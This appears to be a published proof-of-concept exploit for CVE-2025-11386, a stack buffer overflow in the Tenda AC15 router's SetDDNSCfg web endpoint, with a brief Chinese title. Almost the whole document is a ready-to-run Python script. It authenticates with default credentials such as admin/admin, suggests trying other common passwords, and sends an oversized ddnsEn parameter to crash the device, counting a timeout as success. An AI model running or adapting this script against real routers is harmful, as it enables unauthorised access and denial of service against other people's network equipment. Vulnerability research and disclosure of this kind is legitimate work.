CVE-2025-11386：Tenda AC15路由器SetDDNSCfg接口栈缓冲区溢出漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11386 - Tenda AC15 SetDDNSCfg Stack-based Buffer Overflow PoC Author: Security Researcher Description: This PoC demonstrates the stack-based buffer overflow vulnerability in Tenda AC15 router firmware version 15.03.05.18. The vulnerability exists in the /goform/SetDDNSCfg endpoint where the 'ddnsEn' POST parameter is not properly bounds-checked. """ import requests import sys # Target router configuration TARGET_HOST = "http://192.168.0.1" # Default Tenda router IP LOGIN_URL = f"{TARGET_HOST}/login/Auth" TARGET_URL = f"{TARGET_HOST}/goform/SetDDNSCfg" # Default credentials (replace with valid ones if changed) USERNAME = "admin" PASSWORD = "admin" # or try common defaults like "password", "1234" # Buffer overflow payload - oversized 'ddnsEn' parameter # The original buffer size is typically small; we overflow with a large string OVERFLOW_SIZE = 1024 # Adjust size based on target PAYLOAD = "A" * OVERFLOW_SIZE def exploit(): session = requests.Session() # Step 1: Authenticate with the router print("[*] Attempting authentication...") login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=login_data, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") sys.exit(1) # Step 2: Send malicious POST request with oversized ddnsEn parameter print(f"[*] Sending exploit payload to {TARGET_URL}") exploit_data = { "ddnsEn": PAYLOAD, # Oversized parameter triggers stack overflow "ddnsServer": "no-ip.com", "ddnsUser": "test", "ddnsPwd": "test", "ddnsDomain": "test.ddns.net" } try: resp = session.post(TARGET_URL, data=exploit_data, timeout=10) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except requests.exceptions.Timeout: print("[+] Target may have crashed - possible successful exploitation!") except Exception as e: print(f"[-] Request error: {e}") # Step 3: Check if the service is still alive print("[*] Checking target availability...") try: resp = session.get(TARGET_HOST, timeout=5) print(f"[*] Target status: {resp.status_code} (still alive)") except Exception: print("[+] Target appears to be down - exploit may have succeeded!") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] exploit()